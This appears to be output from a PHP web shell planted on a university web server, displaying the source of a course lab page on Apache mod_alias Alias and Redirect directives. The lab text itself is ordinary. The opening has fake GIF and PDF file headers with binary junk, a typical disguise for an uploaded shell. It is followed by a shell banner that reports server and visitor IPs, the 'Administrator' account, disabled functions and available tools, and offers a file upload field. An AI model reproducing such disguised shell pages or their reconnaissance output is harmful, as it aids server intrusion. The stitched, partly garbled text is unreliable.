GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/MichaelMalz/CST1611/Labs/Lab03/ |
Upload File : |
<? // MichaelMalz/CST1611Lab03a.phpinc require('Gradebook/EvaluationSubmission_BEGIN.phpinc'); // Replaced. $dataFolder = '/var/www/html'; $apacheFolder = $dataFolder; $dirSep = '/'; $disabled = ''; #$disabled = ' disabled'; // Comment this line to enable lab. ?> <fieldset id="description"><legend><?=$evaluationType?> <?=$evaluationNumber?> Description</legend> The purpose of this lab is to demonstrate the ability to use directives from the <tt>mod_alias</tt> module. <br> Before beginning this lab look at the <a href="#Notes">Notes</a> below. <br><note class="larger">All directives</note> <br><?=$gradeNote?> <? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?> </fieldset> <fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> Instruction</legend> <ol class="count"> <li>Setup a directory for this lab. <ol> <li>Create a directory called <b class="copyText"><?=$evaluationName?></b> inside your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?></b> directory.</li> <li>Create a text file called <b class="copyText"><?=$saveFilename?>.txt</b> in the <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory.</li> </ol> </li> <li>Locate the location for all directives you will add in this lab. <ol> <li>Open your <b>/etc/apache2/sites-available/000-default.conf</b>.</li> <li>Above the <code><Directory></code> directive add the comment:<br> <comm class="copyText"># <?=$evaluationType?> <?=$evaluationNumber?></comm></li> <li>Place all directives you add in this lab in lines below this comment and in the order listed.</li> </ol> </li> <li>Setup an <code>Alias</code> from one directory to another directory. <ol> <li>Setup directories for this <code>Alias</code>. <ol> <li>Create a directory called <b class="copyText">aliasfrom</b> inside your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory.</li> <li>Create a text file called <b class="copyText">You are in the <?=$userFullName?> aliasfrom directory</b> in the <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?><?=$dirSep?>aliasfrom</b> directory.</li> <li>Create a directory called <b class="copyText">aliasto</b> inside your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory.</li> <li>Create a text file called <b class="copyText">You are in the <?=$userFullName?> aliasto directory</b> in the <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?><?=$dirSep?>aliasto</b> directory.</li> </ol> </li> <li>Edit your Apache config and add an <code>Alias</code> directive from one directory to another directory. <ol> <li>Open your <b>/etc/apache2/sites-available/000-default.conf</b>.</li> <li>Add a <code class="copyText">Alias</code> directive so that the <tt><?=$apacheFolder?>/<?=$courseNumber?>/<?=$evaluationName?>/aliasfrom</tt> directory is an alias of the <tt class="copyText"><?=$apacheFolder?>/<?=$courseNumber?>/<?=$evaluationName?>/aliasto</tt> directory.</li> <li>Save your changes.</li> </ol> </li> <li>Verify that your <code>Alias</code> works. <ol> <li>Restart Apache.</li> <li>Open up a browser.</li> <li>Enter <b>localhost</b> in the address bar and hit enter.</li> <li>Click on <b>CST1611</b>. Click on <b><?=$evaluationName?></b>. Click on <b>aliasfrom</b>. Your browser should still show <b>aliasfrom</b> in the URL but show the contents of the <b>aliasto</b> directory.</li> </ol> </li> </ol> </li> <li>Setup an <code>Alias</code> from one file to another file. <ol> <li>Setup files for this <code>Alias</code>. <ol> <li>Create a file called <b class="copyText">AliasFileFrom.txt</b> inside your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory.</li> <li>Edit the <b>AliasFileFrom.txt</b> file, enter the line <b class="copyText">You are viewing the contents of the <?=$userFullName?> AliasFileFrom.txt file.</b>, and save your changes.</li> <li>Create a file called <b class="copyText">AliasFileTo.txt</b> inside your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory.</li> <li>Edit the <b>AliasFileTo.txt</b> file, enter the line <b class="copyText">You are viewing the contents of the <?=$userFullName?> AliasFileTo.txt file.</b>, and save your changes.</li> </ol> </li> <li>Edit your Apache config and add an <code>Alias</code> directive from one file to another file. <ol> <li>Open your <b>/etc/apache2/sites-available/000-default.conf</b>.</li> <li>Add an <code class="copyText">Alias</code> directive so that the <tt><?=$apacheFolder?>/<?=$courseNumber?>/<?=$evaluationName?>/AliasFileFrom.txt</tt> file is an alias of <tt class="copyText"><?=$apacheFolder?>/<?=$courseNumber?>/<?=$evaluationName?>/AliasFileTo.txt</tt>.</li> <li>Save your changes.</li> </ol> </li> <li>Verify that your <code>Alias</code> works. <ol> <li>Restart Apache.</li> <li>Open up a browser.</li> <li>Enter <b>localhost</b> in the address bar and hit enter.</li> <li>Click on <b>CST1611</b>. Click on <b><?=$evaluationName?></b>. Click on <b>AliasFileFrom.txt</b>. Your browser should still show <b>AliasFileFrom.txt</b> in the URL but show the contents of the <b>AliasFileTo.txt</b> file.</li> </ol> </li> </ol> </li> <li>Setup a <code>Redirect</code> from a directory to another site. <ol> <li>Setup a directory for this <code>Redirect</code>. <ol> <li>Create a directory called <b class="copyText">ClassHome</b> inside your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory.</li> <li>Create a text file called <b class="copyText">You are in the <?=$userFullName?> ClassHome directory</b> in the <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?><?=$dirSep?>ClassHome</b> directory.</li> </ol> </li> <li>Edit your Apache config and add a <code>Redirect</code> directive from a directory to another site. <ol> <li>Open your <b>/etc/apache2/sites-available/000-default.conf</b> file in a text editor.</li> <li>Add a <code class="copyText">Redirect</code> directive so that the <tt><?=$apacheFolder?>/<?=$courseNumber?>/<?=$evaluationName?>/ClassHome/</tt> directory is redirected to <tt>https://cst.ridgewater.edu/MichaelMalz/CST1611</tt>.</li> <li>Save your changes.</li> </ol> </li> <li>Verify that your <code>Redirect</code> works. <ol> <li>Restart Apache.</li> <li>Open up a browser.</li> <li>Enter <b>localhost</b> in the address bar and hit enter.</li> <li>Click on <b>CST1611</b>. Click on <b><?=$evaluationName?></b>. Click on <b>ClassHome</b>. Your browser should be redirected to <b>https://cst.ridgewater.edu/MichaelMalz/CST1611</b>.</li> </ol> </li> </ol> </li> <li>Setup a <code>Redirect</code> from a file to another site. <ol> <li>Setup a file for this <code>Redirect</code>. <ol> <li>Create a file called <b class="copyText">ClassFile.txt</b> inside your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory.</li> <li>Edit the <b>ClassFile.txt</b> text file, enter the line <b class="copyText">You are viewing the contents of the <?=$userFullName?> ClassFile.txt file.</b>, and save your changes.</li> </ol> </li> <li>Edit your Apache config and add a <code>Redirect</code> directive from a file to another site. <ol> <li>Open your <b>/etc/apache2/sites-available/000-default.conf</b> file in a text editor.</li> <li>Copy the <code>Redirect</code> you created in step 5 above and paste it below that line.</li> <li>Change <code>ClassHome</code> to <code>ClassFile.txt</code>.</li> <li>Save your changes.</li> </ol> </li> <li>Verify that your <code>Redirect</code> works. <ol> <li>Restart Apache.</li> <li>Open up a browser.</li> <li>Enter <b>localhost</b> in the address bar and hit enter.</li> <li>Click on <b>CST1611</b>. Click on <b><?=$evaluationName?></b>. Click on <b>ClassFile.txt</b>. Your browser should now show the contents of the <b>ClassFile.txt</b> file. If it does not then add a / to the end of the <code>URL-path</code> part of the Redirect directive and try again. <li>Now add a <b>/</b> to the end of the URL in the location bar and hit enter. Your browser should now be redirected to <b>https://cst.ridgewater.edu/MichaelMalz/CST1611</b>.</li> </ol> </li> </ol> </li> <li>Setup a <code>Redirect</code> from a directory to another directory. <ol> <li>Setup directories for this <code>Redirect</code>. <ol> <li>Create a directory called <b class="copyText">redirected</b> inside your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory.</li> <li>Create a text file called <b class="copyText">You are in the <?=$userFullName?> redirected directory</b> in the <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?><?=$dirSep?>redirected</b> directory.</li> <li>Create a directory called <b class="copyText">tohere</b> inside your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory.</li> <li>Create a text file called <b class="copyText">You are in the <?=$userFullName?> tohere directory</b> in the <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?><?=$dirSep?>tohere</b> directory.</li> </ol> </li> <li>Edit your Apache config and add a <code>Redirect</code> directive from a directory to another directory. <ol> <li>Open your <b>/etc/apache2/sites-available/000-default.conf</b> file in a text editor.</li> <li>Add a <code class="copyText">Redirect</code> directive so that the <tt><?=$apacheFolder?>/<?=$courseNumber?>/<?=$evaluationName?>/redirected</tt> directory is redirected to <tt><?=$apacheFolder?>/<?=$courseNumber?>/<?=$evaluationName?>/tohere</tt>.</li> <li>Save your changes.</li> </ol> </li> <li>Verify that your <code>Redirect</code> works. <ol> <li>Restart Apache.</li> <li>Open up a browser.</li> <li>Enter <b>localhost</b> in the address bar and hit enter.</li> <li>Click on <b>CST1611</b>. Click on <b><?=$evaluationName?></b>. Click on <b>redirected</b>. Your browser should be redirected to the <b>tohere</b> directory.</li> </ol> </li> </ol> </li> <li>Setup a <code>Redirect</code> from nothing to a directory. <ol> <li>Setup a directory for this <code>Redirect</code>. <ol> <li>Create a directory called <b class="copyText">fromnothing</b> inside your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory.</li> <li>Create a text file called <b class="copyText">You are in the <?=$userFullName?> fromnothing directory</b> in the <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?><?=$dirSep?>fromnothing</b> directory.</li> </ol> </li> <li>Edit your Apache config and add a <code>Redirect</code> directive from nothing to a directory. <ol> <li>Open your <b>/etc/apache2/sites-available/000-default.conf</b> file in a text editor.</li> <li>Add a <code class="copyText">Redirect</code> directive so that the <tt><?=$apacheFolder?>/<?=$courseNumber?>/<?=$evaluationName?>/nothing</tt> directory is redirected to <tt><?=$apacheFolder?>/<?=$courseNumber?>/<?=$evaluationName?>/fromnothing</tt>.</li> <li>Save your changes.</li> </ol> </li> <li>Verify that your <code>Redirect</code> works. <ol> <li>Restart Apache.</li> <li>Open up a browser.</li> <li>Enter <b>localhost</b> in the address bar and hit enter.</li> <li>Click on <b>CST1611</b>. Click on <b><?=$evaluationName?></b>. Add <b>nothing</b> to the end of the URL in the location bar and hit enter. Your browser should be redirected to the <b>fromnothing</b> directory.</li> <li>Go back a page and add <b>nothing/</b> (note the slash) to the end of the URL in the location bar and hit enter. Your browser should still be redirected to the <b>fromnothing</b> directory.</li> </ol> </li> </ol> </li> <li>Turn in your assignment: <ol> <li>Copy your <b>/etc/hosts</b> and <b>/etc/apache2/sites-available/000-default.conf</b> file into your <b><?=$evaluationName?></b> folder.</li> <li>Ensure the following folders and files are in your <b><?=$evaluationName?></b> folder: <? $folderList = array( 'aliasfrom', 'aliasto', 'ClassHome', 'redirected', 'tohere', 'fromnothing', ); showFileList($folderList,'folder'); $fileList = array( 'AliasFileFrom.txt', 'AliasFileTo.txt', 'ClassFile.txt', $saveFilename.'.txt', 'hosts', 'alias.conf', '000-default.conf', ); showFileList($fileList); ?> </li> <li>Zip up your <b><?=$evaluationName?></b> folder into a file named <b class="copyText"><?=$uploadFilename?></b>.</li> <li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload" id="inpFileUpload"<?=$disabled?>><div id="divFileploadError"></div></li> <li>Then <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"<?=$disabled?>> for grading.</li> </ol> </li> </ol><? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?> </fieldset> <fieldset id="Notes"><legend>Notes</legend> <span class="warning bold">WARNING! Throughout this lab you should be aware of your browser's ability to load a page from cache. You may need to force a page refresh (Ctrl-Shift-R) or even close and reopen the browser in order to see what is really happening now.</span> <p> <code>Alias URL-path file-path|directory-path</code> directive: <ul> <li>The <code>URL-path</code> parameter must be relative the the <code>DocumentRoot</code>.</li> <li>The <code>path-to-file|path-to-directory</code> parameter must be relative to the file system.</li> <li>Trailing slashes are important in the <code>Alias URL-path file-path|directory-path</code> directive too.</li> <li>When <code>Alias</code>ing files neither the <code>URL-path</code> nor <code>path-to-file|path-to-directory</code> should ever end with a /.</li> <li>When <code>Alias</code>ing directories both the <code>URL-path</code> and the <code>path-to-file|path-to-directory</code> need to be the same, either ending or not ending with a /.</li> </ul> </p> <p> <code>Redirect [status] URL-path URL-to</code> directive: <ul> <li>The <code>URL-path</code> parameter must be relative the the <code>DocumentRoot</code>.</li> <li>The <code>URL-to</code> parameter must be relative the the <code>DocumentRoot</code> or a full URL to another Website.</li> <li>When using the <code>Redirect [status] URL-path URL-to</code> directive a trailing slash (/) is important.</li> <li>If the <code>URL-path</code> ends in a / it only works for a directory or if the <code>URL-path</code> typed into the browser location bar ends with a /.<br> The way it works is that: <ul> <li>If <code>URL-path</code> ends with a / the browser location URL must also or the <code>Redirect</code> will not work.</li> <li>If <code>URL-path</code> does not end with a / the browser location URL can end with a / or not.</li> </ul> </li> <li>In order for a <code>Redirect</code> directive to work neither the <code>URL-path</code> nor the <code>URL-to</code> need actually exist.</li> <li>Note that the <code>URL-to</code> should never end with a /.</li> </ul> </p> Go back up to the <a href="#description">Description</a>. </fieldset> <? require('Gradebook/EvaluationSubmission_END.phpinc'); // Replaced. ?>